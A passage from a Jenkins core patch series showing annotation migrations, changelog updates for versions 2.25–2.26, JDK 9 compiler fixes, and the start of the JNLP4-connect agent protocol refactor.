b/core/src/main/java/hudson/cli/GroovyshCommand.java @@ -96,7 +96,7 @@ public class GroovyshCommand extends CLICommand { private static final long serialVersionUID = 1L; @SuppressWarnings("unused") - @edu.umd.cs.findbugs.annotations.SuppressWarnings(value="UMAC_UNCALLABLE_METHOD_OF_ANONYMOUS_CLASS",justification="Closure invokes this via reflection") + @edu.umd.cs.findbugs.annotations.SuppressFBWarnings(value="UMAC_UNCALLABLE_METHOD_OF_ANONYMOUS_CLASS",justification="Closure invokes this via reflection") public Object doCall(Object[] args) { assert(args.length == 1); assert(args[0] instanceof Shell); @@ -119,7 +119,7 @@ public class GroovyshCommand extends CLICommand { private static final long serialVersionUID = 1L; @SuppressWarnings("unused") - @edu.umd.cs.findbugs.annotations.SuppressWarnings(value="UMAC_UNCALLABLE_METHOD_OF_ANONYMOUS_CLASS",justification="Closure invokes this via reflection") + @edu.umd.cs.findbugs.annotations.SuppressFBWarnings(value="UMAC_UNCALLABLE_METHOD_OF_ANONYMOUS_CLASS",justification="Closure invokes this via reflection") public Object doCall(Object[] args) throws ChannelClosedException { if (args.length == 1 && args[0] instanceof ChannelClosedException) { throw (ChannelClosedException)args[0]; diff --git a/core/src/main/java/hudson/logging/LogRecorderManager.java b/core/src/main/java/hudson/logging/LogRecorderManager.java index e35a098d4b..698718634b 100644 --- a/core/src/main/java/hudson/logging/LogRecorderManager.java +++ b/core/src/main/java/hudson/logging/LogRecorderManager.java @@ -129,7 +129,7 @@ public class LogRecorderManager extends AbstractModelObject implements ModelObje /** * Configure the logging level. */ - @edu.umd.cs.findbugs.annotations.SuppressWarnings("LG_LOST_LOGGER_DUE_TO_WEAK_REFERENCE") + @edu.umd.cs.findbugs.annotations.SuppressFBWarnings("LG_LOST_LOGGER_DUE_TO_WEAK_REFERENCE") public HttpResponse doConfigLogger(@QueryParameter String name, @QueryParameter String level) { Jenkins.getInstance().checkPermission(Jenkins.ADMINISTER); Level lv; diff --git a/core/src/main/java/hudson/model/Computer.java b/core/src/main/java/hudson/model/Computer.java index 226ad5fb48..68482d4944 100644 --- a/core/src/main/java/hudson/model/Computer.java +++ b/core/src/main/java/hudson/model/Computer.java @@ -25,8 +25,6 @@ */ package hudson.model; -import edu.umd.cs.findbugs.annotations.OverrideMustInvoke; -import edu.umd.cs.findbugs.annotations.When; import hudson.EnvVars; import hudson.Extension; import hudson.Launcher.ProcStarter; @@ -88,6 +86,7 @@ import org.kohsuke.stapler.export.ExportedBean; import org.kohsuke.args4j.Option; import org.kohsuke.stapler.interceptor.RequirePOST; +import javax.annotation.OverridingMethodsMustInvokeSuper; import javax.annotation.concurrent.GuardedBy; import javax.servlet.ServletException; @@ -1534,7 +1533,7 @@ public /*transient*/ abstract class Computer extends Actionable implements Acces * @see hudson.slaves.RetentionStrategy#isAcceptingTasks(Computer) * @see hudson.model.Node#isAcceptingTasks() */ - @OverrideMustInvoke(When.ANYTIME) + @OverridingMethodsMustInvokeSuper public boolean isAcceptingTasks() { final Node node = getNode(); return getRetentionStrategy().isAcceptingTasks(this) && (node == null || node.isAcceptingTasks()); diff --git a/core/src/main/java/hudson/slaves/NodeSpecific.java b/core/src/main/java/hudson/slaves/NodeSpecific.java index 59ee2ca217..e40ef509df 100644 --- a/core/src/main/java/hudson/slaves/NodeSpecific.java +++ b/core/src/main/java/hudson/slaves/NodeSpecific.java @@ -24,10 +24,11 @@ package hudson.slaves; -import edu.umd.cs.findbugs.annotations.NonNull; import hudson.model.Node; import hudson.model.EnvironmentSpecific; import hudson.model.TaskListener; + +import javax.annotation.Nonnull; import java.io.IOException; /** @@ -45,5 +46,5 @@ public interface NodeSpecific> { /** * Returns a specialized copy of T for functioning in the given node. */ - T forNode(@NonNull Node node, TaskListener log) throws IOException, InterruptedException; + T forNode(@Nonnull Node node, TaskListener log) throws IOException, InterruptedException; } diff --git a/core/src/main/java/hudson/slaves/SlaveComputer.java b/core/src/main/java/hudson/slaves/SlaveComputer.java index 66e57ba76e..080af48bd0 100644 --- a/core/src/main/java/hudson/slaves/SlaveComputer.java +++ b/core/src/main/java/hudson/slaves/SlaveComputer.java @@ -23,8 +23,6 @@ */ package hudson.slaves; -import edu.umd.cs.findbugs.annotations.OverrideMustInvoke; -import edu.umd.cs.findbugs.annotations.When; import hudson.AbortException; import hudson.FilePath; import hudson.Util; @@ -68,6 +66,7 @@ import org.kohsuke.stapler.WebMethod; import org.kohsuke.stapler.interceptor.RequirePOST; import javax.annotation.CheckForNull; +import javax.annotation.OverridingMethodsMustInvokeSuper; import javax.servlet.ServletException; import java.io.File; import java.io.IOException; @@ -161,7 +160,7 @@ public class SlaveComputer extends Computer { * {@inheritDoc} */ @Override - @OverrideMustInvoke(When.ANYTIME) + @OverridingMethodsMustInvokeSuper public boolean isAcceptingTasks() { // our boolean flag is an override on any additional programmatic reasons why this agent might not be // accepting tasks. diff --git a/core/src/main/java/hudson/triggers/Trigger.java b/core/src/main/java/hudson/triggers/Trigger.java index 98f47b7322..1da137237c 100644 --- a/core/src/main/java/hudson/triggers/Trigger.java +++ b/core/src/main/java/hudson/triggers/Trigger.java @@ -60,7 +60,7 @@ import antlr.ANTLRException; import javax.annotation.CheckForNull; import javax.annotation.Nonnull; -import edu.umd.cs.findbugs.annotations.SuppressWarnings; +import edu.umd.cs.findbugs.annotations.SuppressFBWarnings; import hudson.model.Items; import jenkins.model.ParameterizedJobMixIn; import org.jenkinsci.Symbol; diff --git a/core/src/main/java/hudson/util/XStream2.java b/core/src/main/java/hudson/util/XStream2.java index 4f3c7ba613..48d967880b 100644 --- a/core/src/main/java/hudson/util/XStream2.java +++ b/core/src/main/java/hudson/util/XStream2.java @@ -43,7 +43,7 @@ import com.thoughtworks.xstream.io.HierarchicalStreamDriver; import com.thoughtworks.xstream.io.HierarchicalStreamReader; import com.thoughtworks.xstream.io.HierarchicalStreamWriter; import com.thoughtworks.xstream.mapper.CannotResolveClassException; -import edu.umd.cs.findbugs.annotations.SuppressWarnings; +import edu.umd.cs.findbugs.annotations.SuppressFBWarnings; import hudson.PluginManager; import hudson.PluginWrapper; import hudson.diagnosis.OldDataMonitor; @@ -415,7 +415,7 @@ public class XStream2 extends XStream { private PluginManager pm; - @SuppressWarnings("NP_NULL_ON_SOME_PATH_FROM_RETURN_VALUE") // classOwnership checked for null so why does FB complain? + @SuppressFBWarnings("NP_NULL_ON_SOME_PATH_FROM_RETURN_VALUE") // classOwnership checked for null so why does FB complain? @Override public String ownerOf(Class clazz) { if (classOwnership != null) { return classOwnership.ownerOf(clazz); diff --git a/core/src/main/java/jenkins/model/Jenkins.java b/core/src/main/java/jenkins/model/Jenkins.java index 36c10fb42d..af00e7c3a5 100644 --- a/core/src/main/java/jenkins/model/Jenkins.java +++ b/core/src/main/java/jenkins/model/Jenkins.java @@ -842,7 +842,7 @@ public class Jenkins extends AbstractCIBase implements DirectlyModifiableTopLeve * @param pluginManager * If non-null, use existing plugin manager. create a new one. */ - @edu.umd.cs.findbugs.annotations.SuppressWarnings({ + @edu.umd.cs.findbugs.annotations.SuppressFBWarnings({ "SC_START_IN_CTOR", // bug in FindBugs. It flags UDPBroadcastThread.start() call but that's for another class "ST_WRITE_TO_STATIC_FROM_INSTANCE_METHOD" // Trigger.timer }) @@ -3107,7 +3107,7 @@ public class Jenkins extends AbstractCIBase implements DirectlyModifiableTopLeve /** * Called to shut down the system. */ - @edu.umd.cs.findbugs.annotations.SuppressWarnings("ST_WRITE_TO_STATIC_FROM_INSTANCE_METHOD") + @edu.umd.cs.findbugs.annotations.SuppressFBWarnings("ST_WRITE_TO_STATIC_FROM_INSTANCE_METHOD") public void cleanUp() { if (theInstance != this && theInstance != null) { LOGGER.log(Level.WARNING, "This instance is no longer the singleton, ignoring cleanUp()"); @@ -3952,7 +3952,7 @@ public class Jenkins extends AbstractCIBase implements DirectlyModifiableTopLeve /** * For debugging. Expose URL to perform GC. */ - @edu.umd.cs.findbugs.annotations.SuppressWarnings("DM_GC") + @edu.umd.cs.findbugs.annotations.SuppressFBWarnings("DM_GC") @RequirePOST public void doGc(StaplerResponse rsp) throws IOException { checkPermission(Jenkins.ADMINISTER); diff --git a/core/src/main/java/jenkins/security/QueueItemAuthenticatorConfiguration.java b/core/src/main/java/jenkins/security/QueueItemAuthenticatorConfiguration.java index dfa8f95f63..03f609f163 100644 --- a/core/src/main/java/jenkins/security/QueueItemAuthenticatorConfiguration.java +++ b/core/src/main/java/jenkins/security/QueueItemAuthenticatorConfiguration.java @@ -1,6 +1,5 @@ package jenkins.security; -import edu.umd.cs.findbugs.annotations.NonNull; import hudson.Extension; import hudson.util.DescribableList; import jenkins.model.GlobalConfiguration; @@ -10,6 +9,7 @@ import net.sf.json.JSONObject; import org.jenkinsci.Symbol; import org.kohsuke.stapler.StaplerRequest; +import javax.annotation.Nonnull; import java.io.IOException; import java.util.List; @@ -59,7 +59,7 @@ public class QueueItemAuthenticatorConfiguration extends GlobalConfiguration { @Extension(ordinal = 100) public static class ProviderImpl extends QueueItemAuthenticatorProvider { - @NonNull + @Nonnull @Override public List getAuthenticators() { return get().getAuthenticators(); diff --git a/core/src/main/java/jenkins/security/QueueItemAuthenticatorProvider.java b/core/src/main/java/jenkins/security/QueueItemAuthenticatorProvider.java index 2b6529ddea..dbdca64a1a 100644 --- a/core/src/main/java/jenkins/security/QueueItemAuthenticatorProvider.java +++ b/core/src/main/java/jenkins/security/QueueItemAuthenticatorProvider.java @@ -1,13 +1,11 @@ package jenkins.security; -import edu.umd.cs.findbugs.annotations.NonNull; import hudson.Extension; import hudson.ExtensionList; import hudson.ExtensionPoint; -import jenkins.model.Jenkins; +import javax.annotation.Nonnull; import java.util.ArrayList; -import java.util.Collections; import java.util.Iterator; import java.util.List; import java.util.NoSuchElementException; @@ -21,7 +19,7 @@ import java.util.NoSuchElementException; */ public abstract class QueueItemAuthenticatorProvider implements ExtensionPoint { - @NonNull + @Nonnull public abstract List getAuthenticators(); public static Iterable authenticators() { diff --git a/core/src/main/java/jenkins/util/ProgressiveRendering.java b/core/src/main/java/jenkins/util/ProgressiveRendering.java index 22afed60d6..77582d74ce 100644 --- a/core/src/main/java/jenkins/util/ProgressiveRendering.java +++ b/core/src/main/java/jenkins/util/ProgressiveRendering.java @@ -24,7 +24,7 @@ package jenkins.util; -import edu.umd.cs.findbugs.annotations.SuppressWarnings; +import edu.umd.cs.findbugs.annotations.SuppressFBWarnings; import java.lang.reflect.Field; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Method; diff --git a/core/src/test/java/hudson/slaves/ComputerLauncherTest.java b/core/src/test/java/hudson/slaves/ComputerLauncherTest.java index d1533420de..56ea7bfa61 100644 --- a/core/src/test/java/hudson/slaves/ComputerLauncherTest.java +++ b/core/src/test/java/hudson/slaves/ComputerLauncherTest.java @@ -24,17 +24,16 @@ package hudson.slaves; -import edu.umd.cs.findbugs.annotations.SuppressWarnings; import java.io.BufferedReader; import java.io.ByteArrayOutputStream; import java.io.IOException; import java.io.PrintStream; import java.io.StringReader; + import org.apache.commons.io.output.NullOutputStream; import org.junit.Test; import static org.junit.Assert.*; -@SuppressWarnings("DM_DEFAULT_ENCODING") public class ComputerLauncherTest { @Test public void jdk7() throws IOException { diff --git a/test/src/test/java/hudson/cli/CopyJobCommandTest.java b/test/src/test/java/hudson/cli/CopyJobCommandTest.java index 8d34edcd8e..ac9218a71f 100644 --- a/test/src/test/java/hudson/cli/CopyJobCommandTest.java +++ b/test/src/test/java/hudson/cli/CopyJobCommandTest.java @@ -24,7 +24,6 @@ package hudson.cli; -import edu.umd.cs.findbugs.annotations.SuppressWarnings; import static hudson.cli.CLICommandInvoker.Matcher.*; import hudson.model.AbstractItem; import hudson.model.FreeStyleProject; @@ -47,7 +46,6 @@ import org.jvnet.hudson.test.Issue; import org.jvnet.hudson.test.JenkinsRule; import org.jvnet.hudson.test.MockFolder; -@SuppressWarnings("DM_DEFAULT_ENCODING") public class CopyJobCommandTest { @Rule public JenkinsRule j = new JenkinsRule(); diff --git a/test/src/test/java/hudson/cli/GetJobCommandTest.java b/test/src/test/java/hudson/cli/GetJobCommandTest.java index cc36bff8b1..8a52cfed0c 100644 --- a/test/src/test/java/hudson/cli/GetJobCommandTest.java +++ b/test/src/test/java/hudson/cli/GetJobCommandTest.java @@ -24,7 +24,6 @@ package hudson.cli; -import edu.umd.cs.findbugs.annotations.SuppressWarnings; import hudson.model.FreeStyleProject; import java.io.ByteArrayOutputStream; import java.io.PrintStream; @@ -38,7 +37,6 @@ import org.jvnet.hudson.test.Issue; import org.jvnet.hudson.test.JenkinsRule; import org.jvnet.hudson.test.MockFolder; -@SuppressWarnings("DM_DEFAULT_ENCODING") public class GetJobCommandTest { @Rule public JenkinsRule j = new JenkinsRule(); diff --git a/test/src/test/java/hudson/model/FreeStyleProjectTest.java b/test/src/test/java/hudson/model/FreeStyleProjectTest.java index ba1b494a09..e24b4b0049 100644 --- a/test/src/test/java/hudson/model/FreeStyleProjectTest.java +++ b/test/src/test/java/hudson/model/FreeStyleProjectTest.java @@ -34,7 +34,6 @@ import static org.junit.Assert.assertTrue; import com.gargoylesoftware.htmlunit.html.HtmlForm; import com.gargoylesoftware.htmlunit.html.HtmlPage; -import edu.umd.cs.findbugs.annotations.SuppressWarnings; import hudson.tasks.Builder; import hudson.tasks.Shell; import java.io.ByteArrayInputStream; @@ -115,7 +114,6 @@ public class FreeStyleProjectTest { @Test @Issue("JENKINS-15817") - @SuppressWarnings("DM_DEFAULT_ENCODING") public void minimalConfigXml() throws Exception { // Make sure it can be created without exceptions: FreeStyleProject project = (FreeStyleProject) j.jenkins.createProjectFromXML("stuff", new ByteArrayInputStream("".getBytes())); -- GitLab From 0ab4f2a69655db6265c72e99fba598bbe40f35a0 Mon Sep 17 00:00:00 2001 From: Daniel Beck Date: Sat, 15 Oct 2016 22:16:39 +0200 Subject: [PATCH 213/712] Fix formatting --- changelog.html | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/changelog.html b/changelog.html index 5b40dddd3f..0c35c8b29c 100644 --- a/changelog.html +++ b/changelog.html @@ -57,7 +57,7 @@ Upcoming changes

    What's new in 2.25 (2016/10/09)

    • -- GitLab From 6cad673583d71fb65a76ac7a49307d813f05fa13 Mon Sep 17 00:00:00 2001 From: Oleg Nenashev Date: Mon, 17 Oct 2016 13:04:01 +0200 Subject: [PATCH 222/712] Changelog: Noting #1943, #2413, #1933, #2578 --- changelog.html | 14 +++++++++++++- 1 file changed, 13 insertions(+), 1 deletion(-) diff --git a/changelog.html b/changelog.html index e0644a3ea3..a3123ac384 100644 --- a/changelog.html +++ b/changelog.html @@ -56,7 +56,9 @@ Upcoming changes

      What's new in 2.26 (2016/10/17)

      @@ -71,6 +73,10 @@ Upcoming changes
    • Performance: Update XStream driver to improve performance of XML serilization/deserialization. (pull 2561) +
    • + Harden checks of prohibited names in user creation logic. + Untrimmed spaces and different letter cases are being checked now. + (issue 35967)
    • Performance: Fix the performance of file compress/uncompress operations over the remoting channel. (issue 38640, @@ -96,9 +102,15 @@ Upcoming changes
    • Cleanup spelling in CLI help and error messages. (issue 38650) +
    • + Properly handle quotes and other special symbols in item names during form validation. + (issue 31871)
    • Internal: Invoke hpi:record-core-location during the build in order to enabled coordinated run accross repositories. (pull 1894) +
    • + Internal: Bulk cleanup of @since definitions in Javadoc. + (pull 2578)

    What's new in 2.25 (2016/10/09)

      -- GitLab From 441bf1c2553d76425f9834906e63415eea6f391f Mon Sep 17 00:00:00 2001 From: Jesse Glick Date: Mon, 17 Oct 2016 16:27:49 -0400 Subject: [PATCH 223/712] Placate the JDK 9 compiler. --- core/src/main/java/hudson/model/Job.java | 4 ++-- core/src/main/java/hudson/model/ParametersAction.java | 6 +++--- core/src/main/java/hudson/tools/ToolDescriptor.java | 2 +- core/src/main/java/hudson/util/CopyOnWriteList.java | 2 +- core/src/main/java/hudson/util/Iterators.java | 9 ++++++--- .../main/java/jenkins/model/InterruptedBuildAction.java | 2 +- 6 files changed, 14 insertions(+), 11 deletions(-) diff --git a/core/src/main/java/hudson/model/Job.java b/core/src/main/java/hudson/model/Job.java index f66ef21095..4c260e1ed0 100644 --- a/core/src/main/java/hudson/model/Job.java +++ b/core/src/main/java/hudson/model/Job.java @@ -698,7 +698,7 @@ public abstract class Job, RunT extends Run getBuilds() { - return RunList.fromRuns(_getRuns().values()); + return RunList.fromRuns(_getRuns().values()); } /** @@ -730,7 +730,7 @@ public abstract class Job, RunT extends Run getBuildsAsMap() { - return Collections.unmodifiableSortedMap(_getRuns()); + return Collections.unmodifiableSortedMap(_getRuns()); } /** diff --git a/core/src/main/java/hudson/model/ParametersAction.java b/core/src/main/java/hudson/model/ParametersAction.java index eace930a44..be29fc4b04 100644 --- a/core/src/main/java/hudson/model/ParametersAction.java +++ b/core/src/main/java/hudson/model/ParametersAction.java @@ -50,7 +50,7 @@ import java.util.TreeSet; import java.util.logging.Level; import java.util.logging.Logger; -import static com.google.common.collect.Lists.newArrayList; +import com.google.common.collect.Lists; import static com.google.common.collect.Sets.newHashSet; import javax.annotation.CheckForNull; import javax.annotation.Nonnull; @@ -169,7 +169,7 @@ public class ParametersAction implements RunAction2, Iterable, Q @Exported(visibility=2) public List getParameters() { - return Collections.unmodifiableList(filter(parameters)); + return Collections.unmodifiableList(filter(parameters)); } public ParameterValue getParameter(String name) { @@ -231,7 +231,7 @@ public class ParametersAction implements RunAction2, Iterable, Q parametersAction.safeParameters = this.safeParameters; return parametersAction; } - List combinedParameters = newArrayList(overrides); + List combinedParameters = Lists.newArrayList(overrides); Set names = newHashSet(); for(ParameterValue v : overrides) { diff --git a/core/src/main/java/hudson/tools/ToolDescriptor.java b/core/src/main/java/hudson/tools/ToolDescriptor.java index 3bf153f234..3c944d86dc 100644 --- a/core/src/main/java/hudson/tools/ToolDescriptor.java +++ b/core/src/main/java/hudson/tools/ToolDescriptor.java @@ -100,7 +100,7 @@ public abstract class ToolDescriptor extends Descrip * Lists up {@link ToolPropertyDescriptor}s that are applicable to this {@link ToolInstallation}. */ public List getPropertyDescriptors() { - return PropertyDescriptor.for_(ToolProperty.all(),clazz); + return PropertyDescriptor.for_(ToolProperty.all(), clazz); } diff --git a/core/src/main/java/hudson/util/CopyOnWriteList.java b/core/src/main/java/hudson/util/CopyOnWriteList.java index 43e189ba19..4e6af51dc6 100644 --- a/core/src/main/java/hudson/util/CopyOnWriteList.java +++ b/core/src/main/java/hudson/util/CopyOnWriteList.java @@ -143,7 +143,7 @@ public class CopyOnWriteList implements Iterable { } public List getView() { - return Collections.unmodifiableList(core); + return Collections.unmodifiableList(core); } public void addAllTo(Collection dst) { diff --git a/core/src/main/java/hudson/util/Iterators.java b/core/src/main/java/hudson/util/Iterators.java index 2b5d88f74b..74d82950dc 100644 --- a/core/src/main/java/hudson/util/Iterators.java +++ b/core/src/main/java/hudson/util/Iterators.java @@ -24,6 +24,7 @@ package hudson.util; import com.google.common.base.Predicates; +import com.google.common.collect.ImmutableList; import java.util.Collections; import java.util.Iterator; @@ -314,12 +315,13 @@ public class Iterators { *

      * That is, this creates {A,B,C,D} from {A,B},{C,D}. */ + @SafeVarargs public static Iterable sequence( final Iterable... iterables ) { return new Iterable() { public Iterator iterator() { - return new FlattenIterator>(Arrays.asList(iterables)) { + return new FlattenIterator>(ImmutableList.copyOf(iterables)) { protected Iterator expand(Iterable iterable) { - return cast(iterable).iterator(); + return Iterators.cast(iterable).iterator(); } }; } @@ -350,8 +352,9 @@ public class Iterators { }; } + @SafeVarargs public static Iterator sequence(Iterator... iterators) { - return com.google.common.collect.Iterators.concat(iterators); + return com.google.common.collect.Iterators.concat(iterators); } /** diff --git a/core/src/main/java/jenkins/model/InterruptedBuildAction.java b/core/src/main/java/jenkins/model/InterruptedBuildAction.java index b5f9c6b6f5..c734d58bbb 100644 --- a/core/src/main/java/jenkins/model/InterruptedBuildAction.java +++ b/core/src/main/java/jenkins/model/InterruptedBuildAction.java @@ -43,7 +43,7 @@ public class InterruptedBuildAction extends InvisibleAction { private final List causes; public InterruptedBuildAction(Collection causes) { - this.causes = ImmutableList.copyOf(causes); + this.causes = ImmutableList.copyOf(causes); } @Exported -- GitLab From 71cbe0cc7c601c04509faa618b23194335288fee Mon Sep 17 00:00:00 2001 From: Stephen Connolly Date: Thu, 20 Oct 2016 12:01:30 +0100 Subject: [PATCH 224/712] [JENKINS-36871, JENKINS-37565] JNLP4-connect implementation and Remoting 3 (#2492) * [JENKINS-36871] Switch to the new JnlpProtocolHandler based implementation Todo - [ ] Restore the cookie behaviour (but done right this time) - [ ] Perhaps investigate issuing clients with TLS certificates (but would require a UI for managing them) * [JENKINS-36871] License headers and javadocs * [JENKINS-36871] Restore cookie handling * [JENKINS-36871] Integrating Agent discovery components * [JENKINS-36871] Pick up remoting 3.0-SNAPSHOT * [JENKINS-36871] Pick up newer snapshot * [JENKINS-36871] Oleg wants to log an exception that cannot happen --- .../slaves/DefaultJnlpSlaveReceiver.java | 148 ++++++++----- .../java/jenkins/slaves/IOHubProvider.java | 71 +++++++ .../jenkins/slaves/JnlpAgentReceiver.java | 90 ++++---- .../slaves/JnlpSlaveAgentProtocol.java | 146 ++++--------- .../slaves/JnlpSlaveAgentProtocol2.java | 74 +++---- .../slaves/JnlpSlaveAgentProtocol3.java | 118 +++------- .../slaves/JnlpSlaveAgentProtocol4.java | 201 ++++++++++++++++++ .../jenkins/slaves/JnlpSlaveHandshake.java | 22 -- .../JnlpSlaveAgentProtocol4/description.jelly | 4 + .../jenkins/slaves/Messages.properties | 1 + .../slaves/DefaultJnlpSlaveReceiverTest.java | 145 ------------- pom.xml | 2 +- 12 files changed, 502 insertions(+), 520 deletions(-) create mode 100644 core/src/main/java/jenkins/slaves/IOHubProvider.java create mode 100644 core/src/main/java/jenkins/slaves/JnlpSlaveAgentProtocol4.java delete mode 100644 core/src/main/java/jenkins/slaves/JnlpSlaveHandshake.java create mode 100644 core/src/main/resources/jenkins/slaves/JnlpSlaveAgentProtocol4/description.jelly delete mode 100644 core/src/test/java/jenkins/slaves/DefaultJnlpSlaveReceiverTest.java diff --git a/core/src/main/java/jenkins/slaves/DefaultJnlpSlaveReceiver.java b/core/src/main/java/jenkins/slaves/DefaultJnlpSlaveReceiver.java index f82ad9ca18..f6365b212c 100644 --- a/core/src/main/java/jenkins/slaves/DefaultJnlpSlaveReceiver.java +++ b/core/src/main/java/jenkins/slaves/DefaultJnlpSlaveReceiver.java @@ -1,22 +1,31 @@ package jenkins.slaves; +import edu.umd.cs.findbugs.annotations.NonNull; import hudson.Extension; import hudson.TcpSlaveAgentListener.ConnectionFromCurrentPeer; import hudson.Util; +import hudson.model.Computer; import hudson.model.Slave; import hudson.remoting.Channel; +import hudson.slaves.JNLPLauncher; import hudson.slaves.SlaveComputer; +import java.io.OutputStream; +import java.io.PrintWriter; +import javax.annotation.CheckForNull; +import javax.annotation.Nonnull; import jenkins.model.Jenkins; -import org.jenkinsci.remoting.engine.JnlpServerHandshake; +import jenkins.security.ChannelConfigurator; +import org.apache.commons.io.IOUtils; +import org.jenkinsci.remoting.engine.JnlpConnectionState; import java.io.IOException; import java.security.SecureRandom; -import java.util.Properties; import java.util.concurrent.ExecutionException; import java.util.concurrent.TimeUnit; import java.util.concurrent.TimeoutException; import java.util.logging.Level; import java.util.logging.Logger; +import org.jenkinsci.remoting.protocol.impl.ConnectionRefusalException; /** * Match the name against the agent name and route the incoming JNLP agent as {@link Slave}. @@ -27,81 +36,108 @@ import java.util.logging.Logger; */ @Extension public class DefaultJnlpSlaveReceiver extends JnlpAgentReceiver { + @Override - public boolean handle(String nodeName, JnlpServerHandshake handshake) throws IOException, InterruptedException { - SlaveComputer computer = (SlaveComputer) Jenkins.getInstance().getComputer(nodeName); + public boolean owns(String clientName) { + Computer computer = Jenkins.getInstance().getComputer(clientName); + return computer != null; + } - if (computer==null) { - return false; + @Override + public void afterProperties(@NonNull JnlpConnectionState event) { + String clientName = event.getProperty(JnlpConnectionState.CLIENT_NAME_KEY); + SlaveComputer computer = (SlaveComputer) Jenkins.getInstance().getComputer(clientName); + if (computer == null || !(computer.getLauncher() instanceof JNLPLauncher)) { + event.reject(new ConnectionRefusalException(String.format("%s is not a JNLP agent", clientName))); + return; } - Channel ch = computer.getChannel(); - if (ch !=null) { - String c = handshake.getRequestProperty("Cookie"); - if (c!=null && c.equals(ch.getProperty(COOKIE_NAME))) { + if (ch != null) { + String cookie = event.getProperty(JnlpConnectionState.COOKIE_KEY); + if (cookie != null && cookie.equals(ch.getProperty(COOKIE_NAME))) { // we think we are currently connected, but this request proves that it's from the party // we are supposed to be communicating to. so let the current one get disconnected - LOGGER.info("Disconnecting "+nodeName+" as we are reconnected from the current peer"); + LOGGER.log(Level.INFO, "Disconnecting {0} as we are reconnected from the current peer", clientName); try { computer.disconnect(new ConnectionFromCurrentPeer()).get(15, TimeUnit.SECONDS); - } catch (ExecutionException | TimeoutException e) { - throw new IOException("Failed to disconnect the current client",e); + } catch (ExecutionException | TimeoutException | InterruptedException e) { + event.reject(new ConnectionRefusalException("Failed to disconnect the current client", e)); + return; } } else { - handshake.error(nodeName + " is already connected to this master. Rejecting this connection."); - return true; + event.reject(new ConnectionRefusalException(String.format( + "%s is already connected to this master. Rejecting this connection.", clientName))); + return; } } + event.approve(); + event.setStash(new State(computer)); + } + + @Override + public void beforeChannel(@NonNull JnlpConnectionState event) { + DefaultJnlpSlaveReceiver.State state = event.getStash(DefaultJnlpSlaveReceiver.State.class); + final SlaveComputer computer = state.getNode(); + final OutputStream log = computer.openLogFile(); + state.setLog(log); + PrintWriter logw = new PrintWriter(log, true); + logw.println("JNLP agent connected from " + event.getSocket().getInetAddress()); + for (ChannelConfigurator cc : ChannelConfigurator.all()) { + cc.onChannelBuilding(event.getChannelBuilder(), computer); + } + event.getChannelBuilder().withHeaderStream(log); + String cookie = event.getProperty(JnlpConnectionState.COOKIE_KEY); + if (cookie != null) { + event.getChannelBuilder().withProperty(COOKIE_NAME, cookie); + } + } - if (!matchesSecret(nodeName,handshake)) { - handshake.error(nodeName + " can't be connected since the agent's secret does not match the handshake secret."); - return true; + @Override + public void afterChannel(@NonNull JnlpConnectionState event) { + DefaultJnlpSlaveReceiver.State state = event.getStash(DefaultJnlpSlaveReceiver.State.class); + final SlaveComputer computer = state.getNode(); + try { + computer.setChannel(event.getChannel(), state.getLog(), null); + } catch (IOException | InterruptedException e) { + PrintWriter logw = new PrintWriter(state.getLog(), true); + e.printStackTrace(logw); + IOUtils.closeQuietly(event.getChannel()); } + } - Properties response = new Properties(); - String cookie = generateCookie(); - response.put("Cookie",cookie); - handshake.success(response); + @Override + public void channelClosed(@NonNull JnlpConnectionState event) { + final String nodeName = event.getProperty(JnlpConnectionState.CLIENT_NAME_KEY); + IOException cause = event.getCloseCause(); + if (cause != null) { + LOGGER.log(Level.WARNING, Thread.currentThread().getName() + " for " + nodeName + " terminated", + cause); + } + } - // this cast is leaking abstraction - JnlpSlaveAgentProtocol2.Handler handler = (JnlpSlaveAgentProtocol2.Handler)handshake; + private static class State implements JnlpConnectionState.ListenerState { + @Nonnull + private final SlaveComputer node; + @CheckForNull + private OutputStream log; - ch = handler.jnlpConnect(computer); + public State(@Nonnull SlaveComputer node) { + this.node = node; + } - ch.setProperty(COOKIE_NAME, cookie); + @Nonnull + public SlaveComputer getNode() { + return node; + } - return true; - } - - /** - * Called after the client has connected to check if the agent secret matches the handshake secret - * - * @param nodeName - * Name of the incoming JNLP agent. All {@link JnlpAgentReceiver} shares a single namespace - * of names. The implementation needs to be able to tell which name belongs to them. - * - * @param handshake - * Encapsulation of the interaction with the incoming JNLP agent. - * - * @return - * true if the agent secret matches the handshake secret, false otherwise. - */ - private boolean matchesSecret(String nodeName, JnlpServerHandshake handshake){ - SlaveComputer computer = (SlaveComputer) Jenkins.getInstance().getComputer(nodeName); - String handshakeSecret = handshake.getRequestProperty("Secret-Key"); - // Verify that the agent secret matches the handshake secret. - if (!computer.getJnlpMac().equals(handshakeSecret)) { - LOGGER.log(Level.WARNING, "An attempt was made to connect as {0} from {1} with an incorrect secret", new Object[]{nodeName, handshake.getSocket()!=null?handshake.getSocket().getRemoteSocketAddress():null}); - return false; - } else { - return true; + @CheckForNull + public OutputStream getLog() { + return log; } - } - private String generateCookie() { - byte[] cookie = new byte[32]; - new SecureRandom().nextBytes(cookie); - return Util.toHexString(cookie); + public void setLog(@Nonnull OutputStream log) { + this.log = log; + } } private static final Logger LOGGER = Logger.getLogger(DefaultJnlpSlaveReceiver.class.getName()); diff --git a/core/src/main/java/jenkins/slaves/IOHubProvider.java b/core/src/main/java/jenkins/slaves/IOHubProvider.java new file mode 100644 index 0000000000..9edd654cbb --- /dev/null +++ b/core/src/main/java/jenkins/slaves/IOHubProvider.java @@ -0,0 +1,71 @@ +/* + * The MIT License + * + * Copyright (c) 2016, CloudBees, Inc. + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR 